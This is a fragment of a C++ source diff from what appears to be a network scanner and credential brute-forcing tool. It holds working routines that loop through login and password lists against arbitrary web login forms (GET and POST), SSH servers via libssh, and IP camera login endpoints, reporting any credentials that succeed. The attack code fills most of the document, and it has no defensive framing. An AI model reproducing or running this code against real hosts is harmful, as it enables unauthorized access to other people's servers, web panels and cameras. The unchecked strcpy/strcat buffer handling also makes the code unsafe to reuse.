((unsigned long**)host->h_addr_list)[0][0]; + else + { + ++offlines; + if(mode != 1) + { + char temp[256] = {0}; + strcpy(temp, "[Error - Bad Address ("); + + strcat(temp, ip); + strcat(temp, ":"); + strcat(temp, std::to_string((long double)port).c_str()); + strcat(temp, "):"); + strcat(temp, std::to_string((long double)WSAGetLastError()).c_str()); + strcat(temp, "]"); + +#pragma region QTGUI_Area + stt->doEmitionRedFoundData("[CRITICAL] " + QString(temp)); +#pragma endregion + + }; + return -1; + + }; +#else + if(inet_addr(ip) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(ip); + else if(host=gethostbyname (ip)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; + else + { + if(mode != 1) + { + ++offlines; + char temp[256] = {0}; + strcpy(temp, "[Error - Bad Address ("); + + strcat(temp, ip); + strcat(temp, ":"); + strcat(temp, std::to_string((long double)port).c_str()); + strcat(temp, "):"); + strcat(temp, std::to_string((long double)WSAGetLastError()).c_str()); + strcat(temp, "]"); + +#pragma region QTGUI_Area + stt->doEmitionRedFoundData("[CRITICAL] " + QString(temp)); +#pragma endregion + + return -1; + } + else + { + ++offlines; + return -1; + }; + }; +#endif + + SOCKET sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + while(sock == INVALID_SOCKET) + { + char temp[64] = {0}; + strcpy(temp, "Cannot create socket - "); + strcat(temp, std::to_string((long double)WSAGetLastError()).c_str()); + strcat(temp, " - "); + strcat(temp, ip); + strcat(temp, ":"); + strcat(temp, std::to_string((long double)port).c_str()); + +#pragma region QTGUI_Area + stt->doEmitionRedFoundData("[CRITICAL] " + QString(temp)); +#pragma endregion + + shutdown(sock, SD_BOTH); + closesocket(sock); + Sleep(500); + sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + }; + + int iiError = WSAGetLastError(); + while(iiError == 10038) + { + if(gDebugMode) stt->doEmitionDebugFoundData("[ConnectTo] 10038 occured -- [" + QString(ip) + ":" + QString::number(port) + "]"); + + shutdown(sock, SD_BOTH); + closesocket(sock); + sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + iiError = WSAGetLastError(); + }; +#if defined(WIN32) + u_long FAR cmd = 1; + if( ioctlsocket( sock , FIONBIO, &cmd ) != 0 ) +#else + u_long cmd = 1; + if( fcntl( sock , F_SETFL, O_NDELAY ) == -1 ) +#endif + { + char temp[64] = {0}; + strcpy(temp, "Error setting non-blocking mode - "); + strcat(temp, std::to_string((long double)WSAGetLastError()).c_str()); + strcat(temp, " - "); + strcat(temp, ip); + strcat(temp, ":"); + strcat(temp, std::to_string((long double)port).c_str()); + +#pragma region QTGUI_Area + stt->doEmitionRedFoundData("[CRITICAL] " + QString(temp)); +#pragma endregion + + shutdown(sock, SD_BOTH); + closesocket(sock); + } + + + int on = 1; + int status = setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, (const char *) &on, sizeof(on)); + + linger.l_onoff = 1; + linger.l_linger = 30; + status = setsockopt(sock, SOL_SOCKET, SO_LINGER, (const char *) &linger, sizeof(linger)); + + int iError, iResult = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); + + if(iResult == SOCKET_ERROR) + { + iError = WSAGetLastError(); + while(iError == 10038) + { + if(gDebugMode) stt->doEmitionDebugFoundData("[ConnectTo] 10038 occured -- [" + QString(ip) + ":" + QString::number(port) + "]"); + + shutdown(sock, SD_BOTH); + closesocket(sock); + sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + iResult = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); + iError = WSAGetLastError(); + }; + if(iError == 10035) + { + fd_set read_fs; + FD_ZERO(&read_fs); + FD_SET(sock, &read_fs); + timeval tv = { gTimeOut, 0 }; + + int res2 = select(sock + 1, NULL, &read_fs, 0, &tv); + + int cErrCode = WSAGetLastError(); + + while(cErrCode == 10038) + { + if(gDebugMode) stt->doEmitionDebugFoundData("[ConnectTo] 10038 occured -- [" + QString(ip) + ":" + QString::number(port) + "]"); + + shutdown(sock, SD_BOTH); + closesocket(sock); + FD_CLR(sock, &read_fs); + sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); + res2 = WSAGetLastError(); + if(res2 == 10038) continue; + FD_SET(sock, &read_fs); + res2 = select(sock + 1, NULL, &read_fs, 0, &tv); + cErrCode = WSAGetLastError(); + }; + + if (res2 == SOCKET_ERROR) + { + ++offlines; + char temp[128] = {0}; + strcpy(temp, "[Omitting IP!] Select error - "); + strcat(temp, std::to_string((long double)cErrCode).c_str()); + strcat(temp, " - "); + strcat(temp, ip); + strcat(temp, ":"); + strcat(temp, std::to_string((long double)port).c_str()); + strcat(temp, ";"); +#pragma region QTGUI_Area + stt->doEmitionRedFoundData(QString(temp)); +#pragma endregion + ZeroMemory(temp, strlen(temp)); + } + else + { + if (!res2) + { + ++offlines; + } + else + { + if(send(sock, request, strlen(request), 0) != SOCKET_ERROR) + { + if(MapWidgetOpened) stt->doEmitionAddOutData(QString(ip), QString(request)); + Activity += strlen(request); + cmd = 0; + Lexems fd; + int x = 256; + char recvBuff[4096] = {0}; + recvBuff2 = new char[RECV_MAX_LENGTH]; + ZeroMemory(recvBuff2, RECV_MAX_LENGTH); + + int bTO; + while (x > 0) + { + ZeroMemory(recvBuff, 4096); + x = recvWT(sock, recvBuff, 4096, gTimeOut, &bTO); + if(x <= 0) break; + + Activity += x; + recvBuffSize += x; + + if( recvBuffSize > RECV_MAX_LENGTH ) + { + if(strstri(recvBuff2, "http/1.") == NULL) + { + delete[] recvBuff2; + recvBuff2 = NULL; + + FD_CLR(sock, &read_fs); + shutdown(sock, SD_BOTH); + closesocket(sock); + ++Overl; + + CSTR->lowerBuff = new char[11]; + strcpy(CSTR->lowerBuff, "[OVERFLOW]"); + CSTR->size = 10; + return 0; + } + else break; + }; + if(globalScanFlag == true || force) + { + if(x > 0) + { + memset((void*)(recvBuff + x), '\0', 1); + + strcat(recvBuff2, recvBuff); + if((strstr(recvBuff, "220") || strstr(recvBuff, "500 'GET':")) && port == 21) + { + break; + }; + + if(strstri(recvBuff, "220 FTP server ready") != NULL + || strstri(recvBuff, "220 DiskStation FTP server ready") != NULL + || strstri(recvBuff, "500 'GET': command not understood") != NULL + ) + { + delete[] recvBuff2; + recvBuff2 = NULL; + FD_CLR(sock, &read_fs); + shutdown(sock, SD_BOTH); + closesocket(sock); + + CSTR->lowerBuff = new char[recvBuffSize + 1]; + strcpy(CSTR->lowerBuff, recvBuff); + CSTR->size = recvBuffSize; + return 0; + }; + }; + }; + }; + } + else + { + ++offlines; + char temp[128] = {0}; + strcpy(temp, "Send error! - "); + strcat(temp, std::to_string((long double)WSAGetLastError()).c_str()); + strcat(temp, " - "); + strcat(temp, ip); + strcat(temp, "; sock: "); + strcat(temp, std::to_string((long double)sock).c_str()); + +#pragma region QTGUI_Area + stt->doEmitionRedFoundData("[CRITICAL] " + QString(temp)); +#pragma endregion + ZeroMemory(temp, strlen(temp)); + }; + }; + }; + FD_CLR(sock, &read_fs); + shutdown(sock, SD_BOTH); + closesocket(sock); + } + else + { + ++offlines; + char temp[128] = {0}; + int err = iError; + GlobalWSAErr = err; + if(err == 10055) + { + strcpy(temp, "-Connection pool depleted- "); + +#pragma region QTGUI_Area + stt->doEmitionRedFoundData("[SOCKERR 10055] " + QString(temp) + QString(ip) + ":" + QString::number(port)); +#pragma endregion + ZeroMemory(temp, strlen(temp)); + + shutdown(sock, SD_BOTH); + closesocket(sock); + Sleep(60000); + } + else if(err == 10049) + { + strcpy(temp, "[ADDR_NOT_AVAIL - "); + strcat(temp, ip); + strcat(temp, ":"); + strcat(temp, std::to_string((long double)port).c_str()); + strcat(temp, " - "); + strcat(temp, std::to_string((long double)err).c_str()); + strcat(temp, "]"); + +#pragma region QTGUI_Area + stt->doEmitionRedFoundData(QString(temp)); +#pragma endregion + + ZeroMemory(temp, strlen(temp)); + + shutdown(sock, SD_BOTH); + closesocket(sock); + } + else + { + strcpy(temp, "[Unpredictable error - "); + strcat(temp, ip); + strcat(temp, ":"); + strcat(temp, std::to_string((long double)port).c_str()); + strcat(temp, " - "); + strcat(temp, std::to_string((long double)err).c_str()); + strcat(temp, "]"); + strcat(temp, "; sock: "); + strcat(temp, std::to_string((long double)sock).c_str()); +#pragma region QTGUI_Area + stt->doEmitionRedFoundData(QString(temp)); +#pragma endregion + + ZeroMemory(temp, strlen(temp)); + + shutdown(sock, SD_BOTH); + closesocket(sock); + }; + }; + } + else + { + char temp[128] = {0}; + strcpy(temp, "[?!] Strange behavior detected - "); + strcat(temp, std::to_string((long double)WSAGetLastError()).c_str()); + strcat(temp, " - "); + strcat(temp, ip); + strcat(temp, ":"); + strcat(temp, std::to_string((long double)port).c_str()); + strcat(temp, "; sock: "); + strcat(temp, std::to_string((long double)sock).c_str()); +#pragma region QTGUI_Area + stt->doEmitionRedFoundData(QString(temp)); +#pragma endregion + ZeroMemory(temp, strlen(temp)); + }; + + if( globalScanFlag == false && force == 0) + { + if(recvBuff2 != NULL) delete []recvBuff2; + recvBuff2 = NULL; + + return -1; + }; + + if(recvBuff2 != NULL && recvBuffSize > 0) + { + if(MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(recvBuff2)); + std::string res2 = ""; + if(strlen(recvBuff2) > recvBuffSize) recvBuffSize = strlen(recvBuff2); + CSTR->lowerBuff = new char[recvBuffSize + 1]; + ZeroMemory(CSTR->lowerBuff, sizeof(CSTR->lowerBuff)); + CSTR->size = recvBuffSize; + strncpy(CSTR->lowerBuff, recvBuff2, recvBuffSize); + memset(CSTR->lowerBuff + (recvBuffSize), '\0', 1); + + delete []recvBuff2; + recvBuff2 = NULL; + if(HTMLDebugMode) _DebugWriteHTMLToFile(requesth, CSTR->lowerBuff); + return 0; + } + else + { + if(recvBuff2 != NULL) delete []recvBuff2; + recvBuff2 = NULL; + return -1; + }; +}; + +#pragma region WF +lopaStr _WFBrut(char *cookie, char *ip, int port, char *methodVal, char *actionVal, char *userVal, char *passVal, char *formVal) +{ + lopaStr lps; + ZeroMemory(lps.login, sizeof(lps.login)); + ZeroMemory(lps.pass, sizeof(lps.pass)); + ZeroMemory(lps.other, sizeof(lps.other)); + + char b[16] = {0}; + char request[2048] = {0}; + char argData[256] = {0}; + char recvBuffer[65536] = {0}; + + Connector con; + conSTR CSTR; + int cRes; + + if(strstri(methodVal, "get") != NULL) + { + for(int i = 0; i < MaxWFLogin; ++i) + { + for(int j = 0; j < MaxWFPass; ++j) + { + CSTR.lowerBuff = NULL; + CSTR.size = 0; + cRes = 0; + + strcpy(request, "GET "); + strcat(request, actionVal); + strcat(request, "?"); + strcat(request, userVal); + strcat(request, "="); + strcat(request, wfLoginLst[i]); + strcat(request, "&"); + strcat(request, passVal); + strcat(request, "="); + strcat(request, wfPassLst[j]); + strcat(request, " HTTP/1.1\r\n"); + strcat(request, "Host: "); + strcat(request, ip); + strcat(request, "\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: us-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nConnection: close\r\nContent-length: 0"); + strcat(request, "\r\n\r\n"); + + if(BALogSwitched) stt->doEmitionBAData("Probing WF " + QString(ip) + ":" + QString::number(port) + "; login/pass: "+ QString(wfLoginLst[i]) + ":" + QString(wfPassLst[j])); + + if(port == 443) cRes = con._EstablishSSLConnection(ip, port, request, &CSTR); + else cRes = con._EstablishConnection(ip, port, request, &CSTR); + + if(CSTR.lowerBuff != NULL) + { + if(strstri(CSTR.lowerBuff, "501 not implemented") != NULL) + { + stt->doEmitionRedFoundData("" + QString(ip) + ":" + QString::number(port) + " - [WF]: 501 Not Implemented."); + OnLiner = 0; + strcpy(lps.login, "UNKNOWN"); + return lps; + }; + if(strstri(CSTR.lowerBuff, "404 not found") != NULL) + { + stt->doEmitionRedFoundData("" + QString(ip) + ":" + QString::number(port) + " - [WF]: 404 Not Found."); + OnLiner = 0; + strcpy(lps.login, "UNKNOWN"); + return lps; + }; + if(strstri(CSTR.lowerBuff, "Access is Denied") == NULL + && strstri(CSTR.lowerBuff, "Location:") == NULL + && strstri(CSTR.lowerBuff, "Access forbidden") == NULL + && strstri(CSTR.lowerBuff, "Authentication required") == NULL + && strstri(CSTR.lowerBuff, "invalid") == NULL + && strstri(CSTR.lowerBuff, "error") == NULL + && strstri(CSTR.lowerBuff, "loginerr") == NULL + && strstri(CSTR.lowerBuff, "passerr") == NULL + && strstri(CSTR.lowerBuff, "passworderr") == NULL + && strstri(CSTR.lowerBuff, "location.href") == NULL + && strstri(CSTR.lowerBuff, "location.replace") == NULL + && strstri(CSTR.lowerBuff, "top.location") == NULL + && strstri(CSTR.lowerBuff, "error_status") == NULL + && strstri(CSTR.lowerBuff, "501 not implemented") == NULL + && strstri(CSTR.lowerBuff, "http-equiv=\"refresh\"") == NULL + && strstri(CSTR.lowerBuff, "http-equiv = \"refresh\"") == NULL + && strstri(CSTR.lowerBuff, "busy") == NULL + && strstri(CSTR.lowerBuff, "later") == NULL + && strstri(CSTR.lowerBuff, formVal) == NULL + + ) + { + if(i == 0) + { + ZeroMemory(request, 2048); + + OnLiner = 0; + + strcpy(lps.login, "UNKNOWN"); + return lps; + }; + char pass[256] = {0}; + + ZeroMemory(pass, 256); + strcpy(pass, ip); + strcat(pass, " - Web Form password found: "); + strcat(pass, wfLoginLst[i]); + strcat(pass, ":"); + strcat(pass, wfPassLst[j]); + OnLiner = 0; +#pragma region QTGUI_Area + stt->doEmition_BAGreenData("[+] " + QString(pass)); +#pragma endregion + strcpy(lps.login, wfLoginLst[i]); + strcpy(lps.pass, wfPassLst[j]); + return lps; + }; + } + else + { + ZeroMemory(request, 2048); + + OnLiner = 0; + + strcpy(lps.login, "UNKNOWN"); + return lps; + }; + + if(i == 0) ++i; + ZeroMemory(request, 2048); + }; + }; + } + else if(strstri(methodVal, "post") != NULL) + { + for(int i = 0; i < MaxWFLogin; ++i) + { + for(int j = 0; j < MaxWFPass; ++j) + { + CSTR.lowerBuff = NULL; + CSTR.size = 0; + cRes = 0; + + strcpy(argData, userVal); + strcat(argData, "="); + strcat(argData, wfLoginLst[i]); + strcat(argData, "&"); + strcat(argData, passVal); + strcat(argData, "="); + strcat(argData, wfPassLst[j]); + + strcpy(request, "POST "); + strcat(request, actionVal); + strcat(request, " HTTP/1.1\r\n"); + strcat(request, "Host: "); + strcat(request, ip); + strcat(request, "\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: us-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nConnection: close\r\n"); + strcat(request, "Content-length: "); + strcat(request, itoa(strlen(argData), b, 10)); + strcat(request, "\r\n\r\n"); + + strcat(request, argData); + + if(BALogSwitched) stt->doEmitionBAData("Probing " + QString(ip) + ":" + QString::number(port) + "; login/pass: "+ QString(wfLoginLst[i]) + ":" + QString(wfPassLst[j])); + + if(port == 443) cRes = con._EstablishSSLConnection(ip, port, request, &CSTR); + else cRes = con._EstablishConnection(ip, port, request, &CSTR); + + + if(CSTR.lowerBuff != NULL) + { + if(strstri(CSTR.lowerBuff, "501 not implemented") != NULL) + { + stt->doEmitionRedFoundData("" + QString(ip) + ":" + QString::number(port) + " - [WF]: 501 Not Implemented."); + OnLiner = 0; + strcpy(lps.login, "UNKNOWN"); + return lps; + }; + if(strstri(CSTR.lowerBuff, "404 not found") != NULL) + { + stt->doEmitionRedFoundData("" + QString(ip) + ":" + QString::number(port) + " - [WF]: 404 Not Found."); + OnLiner = 0; + strcpy(lps.login, "UNKNOWN"); + return lps; + }; + if(strstri(CSTR.lowerBuff, "Access is Denied") == NULL + && strstri(CSTR.lowerBuff, "Location:") == NULL + && strstri(CSTR.lowerBuff, "Access forbidden") == NULL + && strstri(CSTR.lowerBuff, "Authentication required") == NULL + && strstri(CSTR.lowerBuff, "invalid") == NULL + && strstri(CSTR.lowerBuff, "error") == NULL + && strstri(CSTR.lowerBuff, "loginerr") == NULL + && strstri(CSTR.lowerBuff, "passerr") == NULL + && strstri(CSTR.lowerBuff, "passworderr") == NULL + && strstri(CSTR.lowerBuff, "location.href") == NULL + && strstri(CSTR.lowerBuff, "location.replace") == NULL + && strstri(CSTR.lowerBuff, "top.location") == NULL + && strstri(CSTR.lowerBuff, "error_status") == NULL + && strstri(CSTR.lowerBuff, "http-equiv=\"refresh\"") == NULL + && strstri(CSTR.lowerBuff, "http-equiv = \"refresh\"") == NULL + && strstri(CSTR.lowerBuff, "busy") == NULL + && strstri(CSTR.lowerBuff, "later") == NULL + && strstri(CSTR.lowerBuff, formVal) == NULL + ) + { + if(i == 0) + { + ZeroMemory(request, 2048); + ZeroMemory(argData, 256); + + OnLiner = 0; + + strcpy(lps.login, "UNKNOWN"); + return lps; + }; + char pass[256] = {0}; + + ZeroMemory(pass, 256); + strcpy(pass, ip); + strcat(pass, " - Web Form password found: "); + strcat(pass, wfLoginLst[i]); + strcat(pass, ":"); + strcat(pass, wfPassLst[j]); + OnLiner = 0; +#pragma region QTGUI_Area + stt->doEmition_BAGreenData("[+] " + QString(pass)); +#pragma endregion + strcpy(lps.login, wfLoginLst[i]); + strcpy(lps.pass, wfPassLst[j]); + return lps; + }; + } + else + { + ZeroMemory(request, 2048); + ZeroMemory(argData, 256); + + OnLiner = 0; + + strcpy(lps.login, "UNKNOWN"); + return lps; + }; + if(i == 0) ++i; + ZeroMemory(request, 2048); + ZeroMemory(argData, 256); + }; + }; + } + else + { + stt->doEmitionFoundData("" + QString(ip) + ":" + QString::number(port) + " - [WF]: Unknown method."); + }; + + ZeroMemory(request, 2048); + ZeroMemory(argData, 256); + + OnLiner = 0; + + strcpy(lps.login, "UNKNOWN"); + return lps; +}; +lopaStr Connector::_WFLobby(char *cookie, char *ip, int port, char *methodVal, char *actionVal, char *userVal, char *passVal, char *formVal) +{ + ++WF; + BConInc(); + lopaStr res = _WFBrut(cookie, ip, port, methodVal, actionVal, userVal, passVal, formVal); + BConDec(); + return res; +}; +#pragma endregion + +#pragma region SSH + +int _sshConnect(char *user, char *pass, char *host) +{ + char hostStr[128] = {0}; + ZeroMemory(hostStr, 128); + strcpy(hostStr, user); + strcat(hostStr, "@"); + strcat(hostStr, host); + + ssh_session my_ssh_session = ssh_new(); + if (my_ssh_session == NULL) + { + ssh_free(my_ssh_session); + return -1; + }; + + ssh_options_set(my_ssh_session, SSH_OPTIONS_HOST, hostStr); + //ssh_options_set(my_ssh_session, SSH_OPTIONS_LOG_VERBOSITY, &verbosity); + //ssh_options_set(my_ssh_session, SSH_OPTIONS_LOG_VERBOSITY_STR, &verbosity); + //ssh_options_set(my_ssh_session, SSH_OPTIONS_STRICTHOSTKEYCHECK, 0); + int sshTimeout = gTimeOut + 1; + ssh_options_set(my_ssh_session, SSH_OPTIONS_TIMEOUT, &sshTimeout); + + int rc = ssh_connect(my_ssh_session); + + if (rc != SSH_OK) + { + ssh_disconnect(my_ssh_session); + ssh_free(my_ssh_session); + ++offlines; + return -2; + } + else + { + rc = ssh_userauth_password(my_ssh_session, NULL, pass); + if (rc != SSH_AUTH_SUCCESS) + { + ssh_disconnect(my_ssh_session); + ssh_free(my_ssh_session); + return -1; + }; + }; + ssh_disconnect(my_ssh_session); + ssh_free(my_ssh_session); + ++ssh; + return 0; +}; +char *_get_ssh_banner(char *ip) +{ + Connector con; + conSTR CSTR; + char recvBuff[256] = {0}; + con._EstablishConnection(ip, 22, "", &CSTR); + if(CSTR.lowerBuff != NULL && CSTR.size != 0) + { + strncpy(recvBuff, CSTR.lowerBuff, CSTR.size < 256 ? CSTR.size : 256); + }; + if(CSTR.lowerBuff != NULL) + { + delete []CSTR.lowerBuff; + CSTR.lowerBuff = NULL; + }; + return recvBuff; +}; +int check_ssh_pass(char *user, char *pass, char *userPass, char *host, conSTR *CSTR, char *banner) +{ + int res = -1; + if(BALogSwitched) stt->doEmitionBAData("Probing ssh: " + QString(user) + ":" + QString(pass) + "@" + QString(host)); + res = _sshConnect(user, pass, host); + if(res == 0) + { + stt->doEmition_BAGreenData("[+] SSH: " + QString(user) + ":" + QString(pass) + "@" + QString(host)); + char goodStr[512] = {0}; + strcpy(goodStr, userPass); + strcat(goodStr, "@"); + strcat(goodStr, host); + strcat(goodStr, "|+|"); + strcat(goodStr, banner); + int bsz = strlen(goodStr); + CSTR->lowerBuff = new char[bsz + 1]; + ZeroMemory(CSTR->lowerBuff, sizeof(CSTR->lowerBuff)); + CSTR->size = bsz; + strncpy(CSTR->lowerBuff, goodStr, bsz); + memset(CSTR->lowerBuff + bsz, '\0', 1); + return 0; + }; + return res; +}; +int _EstablishSSHConnection(char *host, conSTR *CSTR, char *banner) +{ + CSTR->lowerBuff = NULL; + CSTR->size = 0; + char login[32] = {0}; + char pass[32] = {0}; + char temp[64] = {0}; + OnLiner = 1; + SSHConInc(); + int sz = 0; + char *ptr1 = 0; + int res = -1; + for(int i = 0; i < MaxSSHPass; ++i) + { + if(globalScanFlag == false) break; + strcpy(temp, sshlpLst[i]); + ptr1 = strstr(temp, ":"); + sz = ptr1 - temp; + strncpy(login, temp, sz); + strcpy(pass, ptr1 + 1); + res = check_ssh_pass(login, pass, temp, host, CSTR, banner); + if(res == 0) + { + ZeroMemory(login, 32); + ZeroMemory(pass, 32); + ZeroMemory(temp, 64); + SSHConDec(); + OnLiner = 0; + return 0; + } + else if(res == -2) + { + ZeroMemory(login, 32); + ZeroMemory(pass, 32); + ZeroMemory(temp, 64); + SSHConDec(); + OnLiner = 0; + return -2; + }; + ZeroMemory(login, 32); + ZeroMemory(pass, 32); + ZeroMemory(temp, 64); + Sleep(500); + }; + SSHConDec(); + OnLiner = 0; + return -1; +}; +#pragma endregion + +#pragma region IPCAMWeb +int checkGEO(char *login, char *pass, char *ip, int port) +{ + char request[1024] = {0}; + char recvBuff[256] = {0}; + char recvBuff2[4096] = {0}; + + strcpy(request, "GET /Login.cgi?username="); + strcat(request, login); + strcat(request, "&password="); + strcat(request, pass); + strcat(request, " HTTP/1.1\r\nHost: "); + strcat(request, ip); + strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: close\r\nContent-length: 0\r\n\r\n"); + + SOCKET sock; + sockaddr_in sockAddr; + int bTO; + sockAddr.sin_family = AF_INET; + sockAddr.sin_port = htons(port); + HOSTENT *host; +#if defined(WIN32) + if(inet_addr(ip) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(ip); + else if(host=gethostbyname (ip)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; + else + { +#pragma region QTGUI_Area + stt->doEmitionRedFoundData("[GEOvis] Bad address! [" + QString(ip) + "]"); +#pragma endregion + }; +#else + if(inet_addr(ip) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(ip); + else if(host=gethostbyname (ip)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; + else + { +#pragma region QTGUI_Area + stt->doEmitionRedFoundData("[GEOvis] Bad address! [" + QString(ip) + "]"); +#pragma endregion + }; +#endif + sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + int cCode = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); + int cErrCode = WSAGetLastError(); + + while(cErrCode == 10038) + { + shutdown(sock, SD_BOTH); + closesocket(sock); + sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + cCode = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); + cErrCode = WSAGetLastError(); + if(gDebugMode) stt->doEmitionDebugFoundData("[GEOvis] 10038 occured -- [" + QString(ip) + ":" + QString::number(port) + "]"); + }; + + if(BALogSwitched) stt->doEmitionBAData("Probing IPC" + QString(ip) + ":" + QString::number(port) + "; login/pass: "+ QString(login) + ":" + QString(pass)); + + if(cCode != SOCKET_ERROR) + { + int x = 1; + Activity += strlen(request); + + if(send(sock, request, strlen(request), 0) == SOCKET_ERROR) + { +#pragma region QTGUI_Area + stt->doEmitionRedFoundData("[GEOvis] Send error! [" + QString(ip) + "]"); +#pragma endregion + shutdown(sock, SD_BOTH); + closesocket(sock); + return 0; + } + else + { + if(MapWidgetOpened) stt->doEmitionAddOutData(QString(ip), QString(request)); + int x = 1; + int xx = 0; + while(xx < 4096) + { + ZeroMemory(recvBuff, sizeof(recvBuff)); + x = recvWT(sock, recvBuff, sizeof(recvBuff), gTimeOut + 2, &bTO); + if(x == 0) break; + strcat(recvBuff2, recvBuff); + xx += x; + Activity += x; + }; + + if(MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(recvBuff2)); + + if(strstri(recvBuff2, "Access denied") == NULL && strstri(recvBuff2, "ErrNoSuchUsr.htm") == NULL) + { + shutdown(sock, SD_BOTH); + closesocket(sock); + return 1; + }; + }; + }; + + shutdown(sock, SD_BOTH); + closesocket(sock); + return 0; +}; +int checkIPC(char *login, char *pass, char *ip, int port) +{ + char request[512] = {0}; + char recvBuff[256] = {0}; + char recvBuff2[4096] = {0}; + strcpy(request, "GET /login.xml?user="); + strcat(request, login); + strcat(request, "&usr="); + strcat(request, login); + strcat(request, "&password="); + strcat(request, pass); + strcat(request, "&pwd="); + strcat(request, pass); + strcat(request, " HTTP/1.1\r\nHost: "); + strcat(request, ip); + strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: close\r\nContent-length: 0\r\n\r\n"); + + SOCKET sock; + sockaddr_in sockAddr; + int bTO; + sockAddr.sin_family = AF_INET; + sockAddr.sin_port = htons(port); + HOSTENT *host; +#if defined(WIN32) + if(inet_addr(ip) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(ip); + else if(host=gethostbyname (ip)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; + else + { +#pragma region QTGUI_Area + stt->doEmitionRedFoundData("[IPCam] Bad address! [" + QString(ip) + "]"); +#pragma endregion + }; +#else + if(inet_addr(ip) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(ip); + else if(host=gethostbyname (ip)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; + else + { +#pragma region QTGUI_Area + stt->doEmitionRedFoundData("[IPCam] Bad address! [" + QString(ip) + "]"); +#pragma endregion + }; +#endif + sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + int cCode = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); + int cErrCode = WSAGetLastError(); + + while(cErrCode == 10038) + { + shutdown(sock, SD_BOTH); + closesocket(sock); + sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); + cCode = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); + cErrCode = WSAGetLastError(); + if(gDebugMode) stt->doEmitionDebugFoundData("[IPCam] 10038 occured -- [" + QString(ip) + ":" + QString::number(port) + "]"); + }; + + if(BALogSwitched) stt->doEmitionBAData("Probing IPC" + QString(ip) + ":" + QString::number(port) + "; login/pass: "+ QString(login) + ":" + QString(pass)); + + if(cCode != SOCKET_ERROR) + { + int x = 1; + Activity += strlen(request); + + if(send(sock, request, strlen(request), 0) == SOCKET_ERROR) + { +#pragma region QTGUI_Area + stt->doEmitionRedFoundData("[IPCam] Send error! [" + QString(ip) + "]"); +#pragma endregion + shutdown(sock, SD_BOTH); + closesocket(sock); + return 0; + } + else + { + if(MapWidgetOpened) stt->doEmitionAddOutData(QString(ip), QString(request)); + int x = 1; + int xx = 0; + while(xx < 4096) + { + ZeroMemory(recvBuff, sizeof(recvBuff)); + x = recvWT(sock, recvBuff, sizeof(recvBuff), gTimeOut + 2, &bTO); + if(x == 0) break; + strcat(recvBuff2, recvBuff); + xx += x; + Activity += x; + }; + + if(MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(recvBuff2)); + + if(strstri(recvBuff2, "Invalid") == NULL) + { + shutdown(sock, SD_BOTH); + closesocket(sock); + return 1; + }; + }; + }; + + shutdown(sock, SD_BOTH); + closesocket(sock); + return 0; +}; +lopaStr 